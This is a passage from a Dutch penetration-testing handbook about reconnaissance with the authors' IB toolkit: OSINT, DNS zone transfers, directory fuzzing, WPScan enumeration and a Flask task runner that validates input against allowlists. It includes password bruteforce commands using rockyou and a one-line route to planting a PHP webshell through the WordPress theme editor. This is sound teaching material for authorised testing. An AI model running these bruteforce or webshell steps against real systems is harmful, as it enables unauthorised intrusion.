Rapportage LaTeX naar Markdown via pandoc op /dashboard/findings/rapport
Command Library 194 commando’s in http/commands/
Web Labs XSS, XXE, CSRF, SQLi, SSRF – elk met eigen blueprint
Evidence Upload en beheer per finding in meuk/flask/db/evidence/
Export/Import JSON API op /api/findings/export en /api/findings/import

IB – Bookmark deze tabel. Je zult er door het hele boek naar terugverwijzen.

In het volgende hoofdstuk beginnen we met de verkenningsfase. We gaan kijken hoe je een webapplicatie in kaart brengt, welke informatie je kunt verzamelen zonder ook maar een enkele aanval uit te voeren, en hoe je die informatie gebruikt om je teststrategie te bepalen.

Maar eerst: zorg dat IB draait. De rest van dit boek is praktijk.

Verkenning

Verkenning

De cartograaf met een laptoptas

In 1569 publiceerde Gerardus Mercator – een Vlaming, laten we dat even vaststellen – zijn beroemde wereldkaart. Het was een meesterwerk van wiskunde en verbeelding, maar vooral van geduld. Mercator had nooit zelf de kusten van Afrika bevaren of de Stille Oceaan overgestoken. Hij werkte met verslagen van zeelieden, met schetsmatige portulaankaarten, met verhalen die na vijf keer doorvertellen nauwelijks meer op de werkelijkheid leken dan een gemiddelde vacatureomschrijving. Toch produceerde hij iets bruikbaars. Iets waarmee je ergens kon komen zonder op de rotsen te lopen.

De pentester is, in wezen, een cartograaf. Voordat er ook maar een enkele exploit wordt afgevuurd, voordat er een wachtwoord wordt gekraakt of een shell wordt verkregen, moet het landschap in kaart worden gebracht. Welke systemen staan er? Welke poorten zijn open? Welke software draait erachter? Wie beheert het? Wie heeft zes jaar geleden een domeinnaam geregistreerd met zijn persoonlijke Gmail-adres en is dat vervolgens totaal vergeten?

Dit proces – verkenning, reconnaissance, recon – is het fundament waarop elk assessment rust. Sla het over, en je bent een ontdekkings- reiziger die zonder kaart of kompas de oceaan op vaart. Je kunt geluk hebben. Maar waarschijnlijk vaar je gewoon in cirkels rond en eindig je op dezelfde plek waar je begon, alleen dan met minder tijd en meer frustratie.

En laten we eerlijk zijn: de meeste organisaties maken het je niet moeilijk. Ze laten hun infrastructuur rondslingeren als iemand die net verhuisd is en de dozen nog niet heeft uitgepakt. Drie jaar later staan die dozen er nog. Niemand weet meer wat erin zit, maar niemand durft ze weg te gooien. Dat is ongeveer hoe de gemiddelde IT-omgeving eruitziet. En het is precies waarom verkenning zo effectief is.

IB – Alle reconnaissance-commands in de Command Library zijn georganiseerd onder de categorie recon_*. Je vindt ze via de Commands-pagina of doorzoek ze met het zoekicoon. De commands bevatten de meestgebruikte tools en opties – klaar om te kopieren en aan te passen aan je engagement.

Passieve verkenning: kijken zonder aan te raken

De kunst van het gluren

Er is een fundamenteel verschil tussen iemands voordeur intrappen en door het raam naar binnen kijken. Passieve verkenning is het tweede. Je verstuurt geen enkel pakket naar het doelwit. Je raakt niets aan. Je kijkt alleen naar informatie die al publiekelijk beschikbaar is – openbare registers, zoekmachines, certificaatdatabases, sociale media. Het is het equivalent van het lezen van iemands LinkedIn-profiel: je leert een hoop, en de ander heeft geen idee.

Dit is waar OSINT begint – Open Source Intelligence. Een term die klinkt alsof hij uit een Tom Clancy-roman komt, maar in de praktijk vooral neerkomt op: heel goed googelen.

Whois: het kadaster van het internet

Elke domeinnaam heeft een registratie. Net als een huis in het kadaster staat geregistreerd met een eigenaar, een adres, en een datum, heeft een domein een whois-record. En net als bij het kadaster zijn die gegevens vaak verrassend informatief.

whois target.com
whois TARGET_IP

Een whois-lookup vertelt je wie het domein heeft geregistreerd, wanneer, via welke registrar, en soms zelfs met welk e-mailadres en telefoonnummer. Veel organisaties gebruiken tegenwoordig privacy-services om deze gegevens af te schermen, maar je zou versteld staan van hoeveel dat niet doen. Of die het wel doen voor hun hoofddomein, maar vergeten voor die ene testomgeving die ze in 2019 hebben opgezet.

Het IP-adres whois geeft je informatie over het netblok – welke organisatie het IP-bereik bezit, welke ASN erbij hoort, en vaak een abuse-contactadres. Handig om de omvang van het doelwit te begrijpen.

DNS records: het telefoonboek

DNS is het telefoonboek van het internet, en net als een telefoonboek vertelt het je meer dan alleen telefoonnummers. Een organisatie kan haar website beveiligen als Fort Knox, maar als haar DNS-records publiekelijk haar interne structuur onthullen, is dat alsof je de kluisdeur vergrendelt maar de bouwtekeningen op straat legt.

De basisrecords die je wilt opvragen:

host target.com
host -t MX target.com
host -t TXT target.com
host -t NS target.com
host -t AAAA target.com

MX-records vertellen je welke mailserver het bedrijf gebruikt (Google Workspace? Microsoft 365? Een eigen server die al drie patchcycli achterloopt?). TXT-records bevatten vaak SPF-configuratie, DKIM-keys, en soms domeinverificatierecords voor allerlei cloudservices – een soort openbare boodschappenlijst van welke diensten de organisatie gebruikt. NS-records vertellen je wie de DNS beheert, wat op zichzelf al een aanwijzing is over de technische volwassenheid van het bedrijf.

Certificaat transparantie: de onbedoelde inventaris

Certificate Transparency logs zijn een van de mooiste cadeaus die het internet aan pentesters heeft gegeven. Elke keer dat een organisatie een TLS-certificaat aanvraagt, wordt dat geregistreerd in publiekelijk doorzoekbare logs. En omdat organisaties certificaten aanvragen voor al hun domeinen en subdomeinen – inclusief die interne testomgeving, die staging-server, en dat vergeten Jenkins-dashboard – krijg je een gratis inventaris van hun gehele webinfrastructuur.

# Zoek alle (sub)domeinen via Certificate Transparency
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq '.[].name_value' | sort -u

Het percentage-teken (%25, URL-encoded %) is een wildcard. Het resultaat is vaak een ontnuchterend lange lijst van subdomeinen waarvan de helft niet eens zou moeten bestaan. staging.target.com, dev-old.target.com, jenkins-test.target.com, api-v1-deprecated.target.com.

Het is alsof je in iemands laatje met oude sleutels kijkt. Ze weten zelf niet meer waar de helft van die sleutels op past, maar elk van die sleutels opent ergens een deur.

Google Dorks: de zoekmachine als wapen

Google indexeert alles. Dat is letterlijk haar bestaansreden. En soms indexeert ze dingen die niet geindexeerd hadden moeten worden. Google dorking is de kunst van het gebruik van geavanceerde zoekoperators om precies die dingen te vinden.

# Bestanden die niet openbaar horen te zijn
# site:target.com filetype:pdf
# site:target.com filetype:xlsx
# site:target.com ext:sql | ext:db | ext:bak

# Admin pagina's en login portals
# site:target.com ext:php inurl:admin
# site:target.com inurl:login

# Directory listings (altijd een slecht teken)
# site:target.com intitle:"index of" "parent directory"

Die laatste – intitle:"index of" – is bijzonder vermakelijk. Een directory listing betekent dat een webserver de inhoud van een map gewoon toont, als een soort digitale etalage. Soms vind je er configuratiebestanden, database-backups, of een bestand genaamd passwords.txt dat – en dit is het mooie – inderdaad wachtwoorden bevat.

Het is de digitale equivalent van een bedrijf dat zijn kluissleutel aan een haakje bij de receptie hangt. Met een labeltje eraan. Waarop “kluissleutel” staat.

Shodan: de zoekmachine voor alles met een IP-adres

Waar Google het web indexeert, indexeert Shodan het internet. Elke server, elke webcam, elke industriele controller, elke printer die iemand per ongeluk aan het internet heeft gehangen. Shodan scant constant het hele IPv4-bereik en slaat de banners op die services terugsturen.

# Zoek op hostname
shodan search hostname:target.com

# Bekijk een specifiek IP
shodan host TARGET_IP

# Zoek op software in een netrange
shodan search "Apache" net:TARGET_RANGE/24

Shodan laat je zoeken op software, versienummers, locatie, en organisatie. Je kunt ermee vinden welke Apache-versies een bedrijf draait, of ze ergens een MySQL-server open hebben staan, of er een onbeveiligde Elasticsearch-instance is die de volledige klantendatabase serveert aan iedereen die ernaar vraagt.

theHarvester: de stofzuiger

theHarvester combineert meerdere bronnen – zoekmachines, PGP-servers, LinkedIn, DNS – om e-mailadressen, subdomeinen en IP-adressen te verzamelen die bij een domein horen.

# Zoek met meerdere bronnen
theHarvester -d target.com -b google,bing,linkedin -l 500

# Of gewoon alles
theHarvester -d target.com -b all

E-mailadressen zijn goud waard. Ze vertellen je de naamconventie van het bedrijf (j.jansen@target.com? jan.jansen@target.com? jjansen@target.com?), waarmee je vervolgens een lijst van geldige gebruikersnamen kunt genereren. En die gebruikersnamen zijn weer bruikbaar voor wachtwoordaanvallen, Kerberos-enumeratie, en social engineering.

Recon-ng: het framework

Voor wie zijn verkenning wat gestructureerder wil aanpakken, is recon-ng een modulair framework dat verschillende OSINT-bronnen combineert in een werkbare omgeving.

recon-ng
# marketplace search github
# marketplace install recon/domains-hosts/google_site_web
# modules load recon/domains-hosts/google_site_web
# options set SOURCE target.com
# run

Het werkt als een soort Metasploit voor OSINT – je installeert modules, configureert opties, en laat ze los op je doelwit. Het verschil is dat je hier niets breekt; je verzamelt alleen informatie.

IB – Het command recon_osint bevat alle bovenstaande tools en technieken in een kopie-en-plak-formaat. Open het in de Command Library, vervang target.com en TARGET_IP door je echte doelwit, en je hebt een complete OSINT-workflow. De tip onderaan herinnert je eraan: begin altijd met passieve recon voordat je gaat scannen.

En mocht je denken dat dit allemaal overdreven is – dat geen enkel bedrijf zoveel informatie lekt via publieke bronnen – dan heb je duidelijk nog nooit een pentest gedaan. De hoeveelheid informatie die organisaties vrijwillig op internet pleuren is ronduit ontroerend. Het is alsof ze het je makkelijk willen maken. Alsof er ergens een ongeschreven regel bestaat die zegt: “Maak het de aanvaller zo comfortabel mogelijk.”

DNS enumeratie: dieper graven

Zone transfers: het grote cadeau

Passieve verkenning vertelt je veel, maar op een gegeven moment wil je dieper graven. DNS-enumeratie is de brug tussen passief en actief – je praat direct met nameservers, maar je scant geen systemen en je probeert geen exploits.

De heilige graal van DNS-enumeratie is de zone transfer. Een zone transfer (AXFR) is een mechanisme waarmee een secundaire nameserver een complete kopie van een DNS-zone opvraagt bij de primaire server. Het is bedoeld voor replicatie tussen nameservers. Het is niet bedoeld voor willekeurige mensen op internet.

Maar – en hier wordt het leuk – veel nameservers zijn zo geconfigureerd dat ze zone transfers aan iedereen toestaan.

# Zone transfer proberen
host -l target.com ns1.target.com
dig axfr target.com @ns1.target.com

# Met dnsrecon
dnsrecon -d target.com -t axfr

Als een zone transfer lukt, krijg je alles. Elk A-record, elk CNAME-record, elk intern hostname dat de beheerder heeft aangemaakt. dc01.internal.target.com. backup-nas.target.com. test-database-do-not-expose.target.com. Het is alsof je de complete plattegrond van een gebouw krijgt, inclusief de nooduitgangen en het kamertje waar de sysadmin zijn middagdutje doet.

Zijn zone transfers zeldzaam? Ja, steeds zeldzamer. Maar ze komen nog steeds voor. En als ze werken, dan heb je net in dertig seconden meer informatie vergaard dan in een uur googelen.

Subdomain bruteforce: de methodische aanpak

Als zone transfers niet werken – en dat is tegenwoordig vaker wel dan niet het geval – is subdomain bruteforce je volgende optie. Het concept is simpel: je neemt een woordenlijst met veelvoorkomende subdomeinnamen en probeert ze een voor een.

# Met dnsrecon
dnsrecon -d target.com -t brt \
    -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Met gobuster
gobuster dns -d target.com \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -t 50

De -t 50 flag bij gobuster zet het aantal threads – hoeveel gelijktijdige verzoeken er worden gedaan. Vijftig is een redelijk getal; hoog genoeg om snel te zijn, laag genoeg om de nameserver niet plat te leggen. Hoewel, als je de nameserver van het doelwit plat legt met een subdomain-bruteforce, dan hadden ze grotere problemen dan jij.

De kwaliteit van je resultaten staat of valt met je woordenlijst. SecLists – de culinaire bijbel van de pentester – bevat diverse lijsten, van de top 5000 meest voorkomende subdomeinen tot lijsten met meer dan een miljoen entries. Begin klein, escaleer als nodig.

Specifieke DNS records opvragen

Soms wil je niet bruteforcen maar chirurgisch te werk gaan. dig is je scalpel:

# Alle records opvragen
dig target.com ANY

# Specifieke types
dig target.com MX
dig target.com TXT

# Expliciet via een specifieke nameserver
dig @ns1.target.com target.com AXFR

Reverse DNS sweep

Een slimme truc: als je het IP-bereik van een organisatie kent (via whois), kun je een reverse DNS sweep doen – elk IP-adres opvragen en kijken of er een hostname aan gekoppeld is.

# Met dnsrecon
dnsrecon -r TARGET_RANGE/24

# Of handmatig (de brute-force methode)
for ip in $(seq 1 254); do host 10.0.0.$ip; done | grep -v "not found"

Die handmatige one-liner is niet elegant, maar hij werkt. En soms is dat alles wat telt.

Volledige DNS enumeratie

Het gereedschap dnsenum combineert veel van het bovenstaande in een enkele tool:

# Standaard enumeratie
dnsenum target.com

# Met een specifieke nameserver
dnsenum --dnsserver ns1.target.com target.com

dnsenum probeert zone transfers, doet reverse lookups, bruteforced subdomeinen, en zoekt naar delegatierecords – allemaal automatisch. Het is de Zwitserse legermessen onder de DNS-tools.

IB – Het command recon_dns in de Command Library bevat zone transfers, dnsrecon, dnsenum, handmatige DNS lookups, reverse sweeps, en subdomain bruteforce. De tip onderaan vat het samen: zone transfers zijn zeldzaam maar zeer waardevol als ze werken.

Service fingerprinting: wat draait daar?

Je hebt nu een lijst met IP-adressen, hostnamen, en subdomeinen. De volgende vraag is: wat draait er op die systemen? Welke software, welke versies, welke configuratie?

Banner grabbing is de meest directe manier om dat te achterhalen. Veel services sturen bij het openen van een verbinding een banner – een begroetingsbericht dat vertelt welke software het is en welke versie.

# Netcat voor handmatig banner grabbing
nc -nv TARGET_IP 80
nc -nv TARGET_IP 22
nc -nv TARGET_IP 25
nc -nv TARGET_IP 21

Bij poort 80 typ je vervolgens HEAD / HTTP/1.0 gevolgd door twee enters, en de webserver vertelt je keurig dat het Apache 2.4.49 is. Of nginx 1.18. Of IIS 10.0. Soms zelfs met het besturingssysteem erbij. Het is alsof je bij een bedrijf aanklopt en de receptionist je spontaan vertelt welk alarmmodel ze gebruiken, wie de sleutels heeft, en om hoe laat de nachtbewaker pauze heeft.

Dit zou grappig zijn als het niet zo waar was.

HTTP headers analyseren

Webservers zijn bijzonder spraakzaam. De HTTP-headers die ze terugsturen bevatten een schat aan informatie:

# Bekijk de headers
curl -I https://target.com

De Server-header vertelt je de webserversoftware. X-Powered-By onthult vaak de backend-technologie (PHP, ASP.NET, Express). De Set-Cookie-header kan frameworks onthullen – een cookie genaamd JSESSIONID schreeuwt “Java!”, PHPSESSID schreeuwt “PHP!”, en ASP.NET_SessionId schreeuwt “We hebben in 2008 een architecturale keuze gemaakt en sindsdien niet meer achteromgekeken!”

Headers als X-AspNet-Version, X-AspNetMvc-Version, en X-Generator zijn soms letterlijk de versienummers die je nodig hebt om een CVE te zoeken. Het is informatie die standaard wordt meegestuurd tenzij iemand de moeite neemt om het uit te zetten. En het uitvinden van wie die moeite neemt: dat is onderdeel van je assessment.

Technologie detectie: WhatWeb en Wappalyzer

Voor een uitgebreidere analyse heb je geautomatiseerde tools:

# WhatWeb
whatweb target.com
whatweb -a 3 target.com  # Aggressief

# Nmap service versie detectie
nmap -sV -p 80,443,8080 target.com

WhatWeb probeert de gebruikte technologieen te identificeren door naar specifieke patronen te kijken – HTML-structuren, JavaScript- bibliotheken, CSS-frameworks, CMS-vingerafdrukken. Het vertelt je niet alleen dat er een webserver draait, maar dat het een WordPress 5.8 site is met het Divi-thema, jQuery 3.6, en Google Analytics.

Wappalyzer doet hetzelfde maar als browser-extensie, wat handig is voor passieve analyse terwijl je door de site navigeert.

IB’s scan.sh script integreert WhatWeb automatisch:

# Uit scan.sh: voor elke host met HTTP
whatweb ${yolo} > raw/recon/whatweb-${yolo}.txt

Elk resultaat wordt opgeslagen in raw/recon/ en is vervolgens zichtbaar in de Output viewer – maar daarover later meer.

Nmap service scanning

Nmap blijft de gouden standaard voor service-identificatie:

# Service en versie detectie met web-specifieke scripts
nmap -p80,443,8080 -sV \
    --script=http-enum,http-methods,http-title target

Het http-enum script probeert bekende paden te vinden (admin panels, configuratiebestanden), http-methods controleert welke HTTP-methoden zijn toegestaan (PUT en DELETE op een webserver is zelden een goed teken), en http-title haalt de paginatitel op.

Directory en bestand fuzzing: het doorzoeken van de kast

Waarom fuzzing werkt

Stel je voor dat je een gebouw binnenwandelt. De receptie verwijst je naar de vergaderruimte. Maar jij bent niet geinteresseerd in de vergaderruimte. Jij wilt weten welke andere kamers er zijn. De server- ruimte. Het archief. Het kantoor van de directeur waar die ene laptop staat met de onversleutelde database.

Directory fuzzing doet precies dat. Je probeert systematisch URL-paden om te ontdekken welke pagina’s, mappen, en bestanden er op een webserver staan die niet gelinkt zijn vanuit de navigatie. Verborgen admin-panels. Backup-bestanden. Configuratiebestanden. API-endpoints die niemand heeft gedocumenteerd maar die wel gewoon antwoorden.

Gobuster: snel en doeltreffend

Gobuster is de arbeidspaard van directory fuzzing – snel, simpel, en effectief:

# Basis directory bruteforce
gobuster dir -u http://target \
    -w /usr/share/wordlists/dirb/common.txt \
    -t 50 \
    -b 301,302

# Met extensies (essentieel!)
gobuster dir -u http://target \
    -w /usr/share/wordlists/dirb/common.txt \
    -x php,html,txt,bak \
    -t 50

Die -x flag is cruciaal. Zonder extensies zoek je alleen naar directories. Met -x php,html,txt,bak zoek je naar elke entry in je woordenlijst plus elke entry met elk van die extensies. Dus admin wordt admin, admin.php, admin.html, admin.txt, en admin.bak. Die laatste – .bak – is de reden dat pentesters goede wijn kunnen kopen. Het aantal keren dat een ontwikkelaar een backup van een configuratiebestand maakt door er .bak achter te plakken en het dan op de webserver laat staan, is… ontmoedigend.

De -b 301,302 flag filtert redirects uit de resultaten. Soms wil je die zien (een redirect kan interessant zijn), soms niet. Experimenteer.

Gobuster voor subdomeinen en virtual hosts

Gobuster kan meer dan directories:

# Subdomain bruteforce via DNS
gobuster dns -d target.com \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Virtual host bruteforce
gobuster vhost -u http://target \
    -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

VHOST-bruteforce is bijzonder handig wanneer meerdere websites op hetzelfde IP-adres draaien (shared hosting, reverse proxies). De server reageert anders afhankelijk van welke Host-header je meestuurt – en gobuster probeert ze allemaal.

Wfuzz: de flexibele optie

Wfuzz is flexibeler dan gobuster en kan naast directories ook parameters en waarden fuzzen:

# Directory fuzzing
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
    --hc 301,404,403 http://target/FUZZ

# Parameter discovery (welke parameters accepteert een pagina?)
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
    --hc 404 "http://target/page?FUZZ=test"

# Parameter value fuzzing
wfuzz -c -z file,wordlist.txt --hc 404 "http://target/page?param=FUZZ"

# POST data fuzzing (login bruteforce)
wfuzz -c -z file,wordlist.txt --hc 404 \
    -d "user=admin&pass=FUZZ" http://target/login

De kracht van wfuzz zit in het FUZZ-keyword. Overal waar je FUZZ plaatst, wordt elke entry uit je woordenlijst geprobeerd. URL-pad? FUZZ. Parameternaam? FUZZ. Parameterwaarde? FUZZ. Cookie? FUZZ. Het is als een universele sleutel die in elk slot wordt geprobeerd.

De --hc flag verbergt specifieke HTTP-statuscodes. --hc 404 verbergt “Not Found”-responses, zodat je alleen de hits ziet. Andersom kun je --sc 200,301 gebruiken om alleen specifieke codes te tonen.

IB’s scan.sh integreert wfuzz in de geautomatiseerde workflow:

# Uit scan.sh: voor elke host met HTTP
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    --sc 200,202,204,301,302,307,403 ${yolo}/FUZZ \
    > raw/recon/wfuzz-${yolo}.txt

Merk op dat scan.sh de --sc (show codes) variant gebruikt in plaats van --hc (hide codes) – het toont alleen de interessante statuscodes. De output gaat rechtstreeks naar raw/recon/, waar de Output viewer het oppikt.

Custom woordenlijsten met CeWL

Generieke woordenlijsten zijn goed, maar custom woordenlijsten zijn beter. CeWL (Custom Word List generator) crawlt een website en extraheert woorden om een op maat gemaakte woordenlijst te genereren:

# Crawl 2 niveaus diep, woorden van minimaal 5 tekens
cewl -d 2 -m 5 -w custom_wordlist.txt http://target

Als een bedrijf het over “ProjectPhoenix” heeft op hun website, is de kans groot dat er ergens een /projectphoenix/-directory of een projectphoenix-admin-subdomein bestaat. CeWL vindt die termen en je kunt ze toevoegen aan je fuzzing-woordenlijst.

Hakrawler: de spin

Hakrawler combineert webcrawling met Wayback Machine-data:

# Crawl de site
echo "http://target" | hakrawler

# Inclusief historische data van Wayback Machine
echo "http://target" | hakrawler -s wayback

De Wayback Machine is de digitale schoenendoos met oude foto’s van het internet. Pagina’s die al lang zijn verwijderd, staan er vaak nog. En als een bedrijf drie jaar geleden een admin-panel had op /admin dat ze sindsdien hebben verwijderd… tja, misschien hebben ze het verwijderd uit de navigatie maar niet van de server. Hakrawler helpt je die historische paden te vinden.

Woordenlijsten kiezen en aanpassen

De keuze van woordenlijst bepaalt het succes van je fuzzing. Een paar richtlijnen:

Situatie Aanbevolen woordenlijst
Snelle scan /usr/share/wordlists/dirb/common.txt
Uitgebreide scan raft-medium-files.txt uit SecLists
CMS-specifiek CMS-specifieke lijsten uit SecLists
Op maat CeWL-output + handmatige toevoegingen
Alles uit de kast directory-list-2.3-medium.txt uit Dirbuster

Begin altijd klein en escaleer. common.txt bevat ~4600 entries en is in seconden klaar. directory-list-2.3-medium.txt bevat ~220.000 entries en kan minuten tot uren duren, afhankelijk van de snelheid van de server en je threadcount.

IB – Het command web_recon_fuzz combineert Gobuster, Wfuzz, CeWL, Hakrawler, en Nmap web scripts. Het bevat ook de essentidle tip om Gobuster-output te combineren met Wfuzz voor parameter fuzzing. SecLists is de beste bron voor fuzzing-woordenlijsten – installeer het als je dat nog niet hebt gedaan.

CMS scanning: WordPress en de rest

WordPress: het internet’s populairste doelwit

WordPress drijft ruwweg 43% van alle websites op het internet. Dat is een ongelooflijk getal. Het betekent ook dat als je een pentest doet, de kans bijna een op twee is dat je ergens een WordPress-site tegenkomt. En WordPress-sites zijn… hoe zeg je dat beleefd… vaak niet goed onderhouden.

Het probleem zit niet in WordPress zelf – de core is redelijk veilig. Het probleem zit in plugins. WordPress heeft meer dan 60.000 plugins, en de kwaliteit varieert van “professioneel geschreven door een team van senior developers” tot “in een weekend in elkaar gehackt door iemand die net zijn eerste PHP-tutorial heeft gevolgd.” En het zijn die laatste plugins die op productiesites draaien, drie jaar zonder update, met bekende kwetsbaarheden die je kunt googelen.

WPScan: de WordPress-specialist

WPScan is de tool voor WordPress-security:

# Basis scan: enumerate alles
wpscan --url http://TARGET --enumerate ap,at,cb,dbe

# Gebruikers enumereren
wpscan --url http://TARGET --enumerate u

# Agressieve plugin detectie
wpscan --url http://TARGET --enumerate ap --plugins-detection aggressive

# Thema enumeratie
wpscan --url http://TARGET --enumerate at

De --enumerate flags bepalen wat er wordt gescand: - ap – alle plugins - at – alle thema’s - cb – config backups - dbe – database exports - u – gebruikers - vp – kwetsbare plugins (vereist API-token) - vt – kwetsbare thema’s (vereist API-token)

WPScan met API-token

De gratis versie van WPScan vindt plugins en thema’s, maar om te weten of ze kwetsbaar zijn, heb je een API-token nodig:

# Met API-token: vulnerability database
wpscan --url http://TARGET --api-token YOUR_TOKEN --enumerate vp,vt

De API-token koppelt je scan aan de WPVulnDB-database, die CVE-details en exploit-informatie bevat voor bekende WordPress-kwetsbaarheden. De gratis tier biedt 25 scans per dag, wat voor de meeste assessments ruim voldoende is.

Password brute force via WPScan

WPScan kan ook wachtwoorden bruteforcen:

# Enkele gebruiker
wpscan --url http://TARGET -U admin \
    -P /usr/share/wordlists/rockyou.txt

# Meerdere gebruikers via XML-RPC
wpscan --url http://TARGET -U users.txt \
    -P /usr/share/wordlists/rockyou.txt \
    --password-attack xmlrpc

De --password-attack xmlrpc optie is slimmer dan een standaard login-bruteforce. XML-RPC staat het toe om meerdere wachtwoorden per verzoek te proberen, wat sneller is en minder opvalt in logs. Althans, het zou minder opvallen als beheerders hun logs zouden lezen.

Handmatige WordPress checks

Soms is handmatig werk sneller:

# WordPress versie
curl -s http://TARGET/readme.html

# Gebruikers via de REST API
curl -s http://TARGET/wp-json/wp/v2/users

# XML-RPC beschikbaar?
curl -s http://TARGET/xmlrpc.php

# Bekende paden
# http://TARGET/wp-login.php
# http://TARGET/wp-admin/

Die REST API voor gebruikers is een klassieker. Standaard geeft WordPress een JSON-lijst van alle gebruikers terug als je /wp-json/wp/v2/users opvraagt. Met namen. En slugs. En avatar-URLs. Het is alsof je bij een bedrijf aanklopt en de receptionist je een organigram overhandigt met alle namen, functies, en pasfoto’s erbij.

En hier is de kicker: na het vinden van geldige gebruikersnamen, en na het kraken van het wachtwoord van een admin-account, is het pad naar een webshell verbazingwekkend kort:

Appearance -> Theme Editor -> 404.php -> [plak je PHP-shell]

Dat is het. Drie klikken en je hebt code-executie op de server. WordPress maakt het zo makkelijk om een themabestand te bewerken dat het bijna een feature is in plaats van een kwetsbaarheid.

Andere CMS-scanners

WordPress is niet het enige CMS. Voor andere platforms:

CMS Scanner Commando
Joomla JoomScan joomscan -u http://TARGET
Drupal droopescan droopescan scan drupal -u http://TARGET
Magento magescan magescan scan:all http://TARGET
SharePoint SharePointURLBrute diverse tools

Het patroon is hetzelfde: identificeer het CMS, gebruik de gespecialiseerde scanner, zoek naar bekende kwetsbaarheden en misconfiguraties.

IB – Het command recon_wpscan bevat basis-scans, enumeratie-opties, brute force, API-token gebruik, en handmatige WordPress checks. De tip over de Theme Editor route naar een webshell maakt het een complete WordPress-aanvalsreferentie.

De IB Task Runner: scans vanuit het dashboard

Waarom klikken als je ook kunt klikken?

Tot nu toe hebben we tools besproken die je vanuit de terminal uitvoert. Dat werkt prima, maar IB biedt een elegantere optie: de Task Runner. Het is een webinterface waarmee je voorgedefinieerde taken kunt starten, monitoren, en de output kunt bekijken – allemaal vanuit je browser.

Nu denk je misschien: “Waarom zou ik een webinterface gebruiken als ik een terminal heb?” Goeie vraag. Het antwoord is drieledig:

  1. Parallellisme. Je kunt meerdere scans tegelijk starten en ze allemaal monitoren in een enkel dashboard.
  2. Persistentie. De output wordt opgeslagen en is later terug te vinden via de Output viewer.
  3. Reproduceerbaarheid. De taken zijn voorgedefinieerd met gevalideerde parameters, dus je krijgt consistente resultaten.

Hoe de Task Runner werkt

De Task Runner is gebouwd als een Flask Blueprint in tasks.py. Het hart is een Python dictionary genaamd _TASKS die elke beschikbare taak definieert:

_TASKS = {
    "scan": {
        "label": "Network scan (nmap)",
        "group": "recon",
        "desc": "Nmap TCP/UDP scan, nuclei, whatweb, wfuzz",
        "cmd": ["bash", "scan.sh"],
        "args": [
            {
                "name": "interface",
                "label": "Interface / IP",
                "placeholder": "eth0, tun0 of 10.0.0.1",
                "required": True,
                "pattern": "ip_or_iface",
            },
            {
                "name": "naam",
                "label": "Scan naam",
                "placeholder": "engagement-name",
                "required": True,
                "pattern": "safe_name",
            },
            {
                "name": "hosts",
                "label": "Hosts / range",
                "placeholder": "10.1.2.0/24",
                "required": True,
                "pattern": "ip_or_iface",
            },
        ],
    },
    # ...meer taken...
}

Elke taak heeft een label, een groep (voor categorisatie in de UI), een beschrijving, een commando, en optioneel argumenten. Argumenten worden gevalideerd tegen regex-patronen voordat ze aan het commando worden toegevoegd. Geen shell injection hier – shell=False in de subprocess-aanroep, en argumenten worden als aparte list-elementen doorgegeven.

De veiligheidslaag

Dit is een belangrijk punt, dus laten we er even bij stilstaan. De Task Runner voert alleen taken uit die in de _TASKS-dictionary staan. Je kunt niet willekeurig commando’s invoeren. Je kunt geen pijpen gebruiken, geen command substitution, geen shell-trucs. De argumenten worden gevalideerd tegen patronen:

_RE_SAFE_NAME = re.compile(r"^[a-zA-Z0-9_\-]+$")
_RE_IP_OR_IFACE = re.compile(r"^[a-zA-Z0-9._:/%\-]+$")
_RE_SEARCH_TERM = re.compile(r"^[a-zA-Z0-9._:\-/]+$")

Een scannaam mag alleen letters, cijfers, underscores en streepjes bevatten. Een IP-adres of interface mag geen puntkomma’s of backticks bevatten. Path traversal (..) wordt expliciet geblokkeerd. Het is een allowlist-benadering in plaats van een denylist – als het niet op de lijst staat, mag het niet.

Ironisch genoeg is dit precies de benadering die de systemen die we testen zouden moeten gebruiken.

Taken starten

Via de webinterface (/dashboard/tasks) selecteer je een taak, vul je de parameters in, en klik je op “Run”. Achter de schermen wordt een POST-request gestuurd naar /api/tasks/run:

{
    "task": "scan",
    "args": {
        "interface": "tun0",
        "naam": "acme-corp",
        "hosts": "10.1.2.0/24"
    }
}

De Task Runner start het commando in een achtergrondthread, kent er een uniek run_id aan toe, en begint de output te bufferen. Elke taak heeft een maximum runtime van 600 seconden (10 minuten) – als een scan langer duurt, wordt het proces netjes beindigd.

Status volgen

Terwijl een taak draait, kun je de status en output opvragen:

# API call (of via de web UI)
GET /api/tasks/runs/{run_id}

De response bevat de status (running, success, failed), de starttijd, de return code, en de output – de laatste 500 regels, opgeslagen in een deque met maximale grootte:

_MAX_OUTPUT_LINES = 500

Die limiet van 500 regels voorkomt dat een verbose scan je geheugen opeet. Voor de volledige output kijk je naar de bestanden in raw/.

Beschikbare recon-taken

De Task Runner biedt de volgende reconnaissance-taken:

Taak Label Wat het doet
scan Network scan (nmap) Nmap TCP/UDP, nuclei, whatweb, wfuzz
search Search nmap results Doorzoek eerder scanresultaten
kerberos Kerberos enum Kerberos user enum + LDAP query
ftp_anon FTP anonymous check Test FTP anonymous login

Zoeken in scanresultaten

Na een scan wil je snel specifieke hosts vinden. De search-taak is hiervoor gebouwd:

# Achter de schermen: search.sh
# Zoek alle hosts met HTTP in de nmap results
bash search.sh acme-corp http

# Zoek alle hosts met SSH
bash search.sh acme-corp ssh

# Zoek alle hosts met poort 3389 (RDP)
bash search.sh acme-corp 3389

Het script doorzoekt de .gnmap-output (greppable nmap format) en retourneert een schone lijst van IP-adressen. Simpel, effectief, en exact wat je nodig hebt om je volgende stap te plannen.

IB – De Task Runner groepeert taken per categorie: Recon, Brute Force, Exploit, Network, Setup, en Development. Elke taak heeft input-validatie tegen regex-patronen. Gebruik de web UI voor een overzichtelijke ervaring, of de API voor automatisering.

De Output viewer: alles terug te vinden

Waar gaan de resultaten heen?

